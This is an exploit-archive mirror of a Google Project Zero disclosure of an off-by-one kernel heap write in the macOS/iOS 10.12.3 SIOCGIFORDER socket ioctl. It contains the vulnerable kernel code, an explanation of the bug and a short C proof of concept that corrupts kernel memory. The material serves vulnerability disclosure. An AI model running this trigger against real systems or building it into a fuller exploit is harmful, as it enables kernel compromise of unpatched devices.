首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
macOS/iOS Kernel 10.12.3 (16D32) - SIOCGIFORDER Socket ioctl Off-by-One Memory C
来源:Google Security Research 作者:Google 发布时间:2017-04-05  
/*
 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1111
 
SIOCSIFORDER and SIOCGIFORDER allow userspace programs to build and maintain the
ifnet_ordered_head linked list of interfaces.
 
SIOCSIFORDER clears the existing list and allows userspace to specify an array of
interface indexes used to build a new list.
 
SIOCGIFORDER allow userspace to query the list of interface identifiers used to build
that list.
 
Here's the relevant code for SIOCGIFORDER:
 
    case SIOCGIFORDER: {    /* struct if_order */
      struct if_order *ifo = (struct if_order *)(void *)data;
      
      u_int32_t ordered_count = if_ordered_count;   <----------------- (a)
      
      if (ifo->ifo_count == 0 ||
          ordered_count == 0) {
        ifo->ifo_count = ordered_count;
      } else if (ifo->ifo_ordered_indices != USER_ADDR_NULL) {
        u_int32_t count_to_copy =
        MIN(ordered_count, ifo->ifo_count);          <---------------- (b)
        size_t length = (count_to_copy * sizeof(u_int32_t));
        struct ifnet *ifp = NULL;
        u_int32_t cursor = 0;
        
        ordered_indices = _MALLOC(length, M_NECP, M_WAITOK);
        if (ordered_indices == NULL) {
          error = ENOMEM;
          break;
        }
        
        ifnet_head_lock_shared();
        TAILQ_FOREACH(ifp, &ifnet_ordered_head, if_ordered_link) {
          if (cursor > count_to_copy) {            <------------------ (c)
            break;
          }
          ordered_indices[cursor] = ifp->if_index; <------------------ (d)
          cursor++;
        }
        ifnet_head_done();
 
 
at (a) it reads the actual length of the list (of course it should take the lock here too,
but that's not the bug I'm reporting)
 
at (b) it computes the number of entries it wants to copy as the minimum of the requested number
and the actual number of entries in the list
 
the loop at (c) iterates through the list of all entries and the check at (c) is supposed to check that
the write at (d) won't go out of bounds, but it should be a >=, not a >, as cursor is the number of
elements *already* written. If count_to_copy is 0, and cursor is 0 the write will still happen!
 
By requesting one fewer entries than are actually in the list the code will always write one interface index
entry one off the end of the ordered_indices array.
 
This poc makes a list with 5 entries then requests 4. This allocates a 16-byte kernel buffer to hold the 4 entries
then writes 5 entries into there.
 
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
*/
 
// ianbeer
// add gzalloc_size=16 to boot args to see the actual OOB write more easily
#if 0
MacOS/iOS kernel memory corruption due to off-by-one in SIOCGIFORDER socket ioctl
 
SIOCSIFORDER and SIOCGIFORDER allow userspace programs to build and maintain the
ifnet_ordered_head linked list of interfaces.
 
SIOCSIFORDER clears the existing list and allows userspace to specify an array of
interface indexes used to build a new list.
 
SIOCGIFORDER allow userspace to query the list of interface identifiers used to build
that list.
 
Here's the relevant code for SIOCGIFORDER:
 
    case SIOCGIFORDER: {        /* struct if_order */
      struct if_order *ifo = (struct if_order *)(void *)data;
      
      u_int32_t ordered_count = if_ordered_count;   <----------------- (a)
      
      if (ifo->ifo_count == 0 ||
          ordered_count == 0) {
        ifo->ifo_count = ordered_count;
      } else if (ifo->ifo_ordered_indices != USER_ADDR_NULL) {
        u_int32_t count_to_copy =
        MIN(ordered_count, ifo->ifo_count);          <---------------- (b)
        size_t length = (count_to_copy * sizeof(u_int32_t));
        struct ifnet *ifp = NULL;
        u_int32_t cursor = 0;
        
        ordered_indices = _MALLOC(length, M_NECP, M_WAITOK);
        if (ordered_indices == NULL) {
          error = ENOMEM;
          break;
        }
        
        ifnet_head_lock_shared();
        TAILQ_FOREACH(ifp, &ifnet_ordered_head, if_ordered_link) {
          if (cursor > count_to_copy) {            <------------------ (c)
            break;
          }
          ordered_indices[cursor] = ifp->if_index; <------------------ (d)
          cursor++;
        }
        ifnet_head_done();
 
 
at (a) it reads the actual length of the list (of course it should take the lock here too,
but that's not the bug I'm reporting)
 
at (b) it computes the number of entries it wants to copy as the minimum of the requested number
and the actual number of entries in the list
 
the loop at (c) iterates through the list of all entries and the check at (c) is supposed to check that
the write at (d) won't go out of bounds, but it should be a >=, not a >, as cursor is the number of
elements *already* written. If count_to_copy is 0, and cursor is 0 the write will still happen!
 
By requesting one fewer entries than are actually in the list the code will always write one interface index
entry one off the end of the ordered_indices array.
 
This poc makes a list with 5 entries then requests 4. This allocates a 16-byte kernel buffer to hold the 4 entries
then writes 5 entries into there.
 
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
#endif
 
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
 
#include <sys/ioctl.h>
#include <sys/socket.h>
 
#include <mach/mach.h>
 
struct if_order {
    u_int32_t           ifo_count;
    u_int32_t           ifo_reserved;
    mach_vm_address_t   ifo_ordered_indices; /* array of u_int32_t */
};
 
#define SIOCSIFORDER  _IOWR('i', 178, struct if_order)
#define SIOCGIFORDER  _IOWR('i', 179, struct if_order)
 
void set(int fd, uint32_t n) {
  uint32_t* data = malloc(n*4);
  for (int i = 0; i < n; i++) {
    data[i] = 1;
  }
 
    struct if_order ifo;
  ifo.ifo_count = n;
  ifo.ifo_reserved = 0;
  ifo.ifo_ordered_indices = (mach_vm_address_t)data;
 
  ioctl(fd, SIOCSIFORDER, &ifo);
  free(data);
}
 
void get(int fd, uint32_t n) {
  uint32_t* data = malloc(n*4);
  memset(data, 0, n*4);
 
    struct if_order ifo;
  ifo.ifo_count = n;
  ifo.ifo_reserved = 0;
  ifo.ifo_ordered_indices = (mach_vm_address_t)data;
 
  ioctl(fd, SIOCGIFORDER, &ifo);
  free(data);
}
 
int main() {
  int fd = socket(PF_INET, SOCK_STREAM, 0);
  set(fd, 5);
  get(fd, 4);
  return 0;
}
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·macOS/iOS Kernel 10.12.3 (16D3
·macOS/iOS Kernel 10.12.3 (16D3
·macOS Kernel 10.12.3 (16D32) -
·macOS/iOS Kernel 10.12.3 (16D3
·macOS Kernel 10.12.2 (16C67) -
·macOS Kernel 10.12.3 (16D32) -
·SolarWinds LEM 6.3.1 - Remote
·macOS Kernel 10.12.2 (16C67) -
·Bluecoat ASG 6.6/CAS 1.3 - Pri
·macOS/iOS Kernel 10.12.3 (16D3
·Bluecoat ASG 6.6/CAS 1.3 - OS
·Apple WebKit 10.0.2(12602.3.12
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved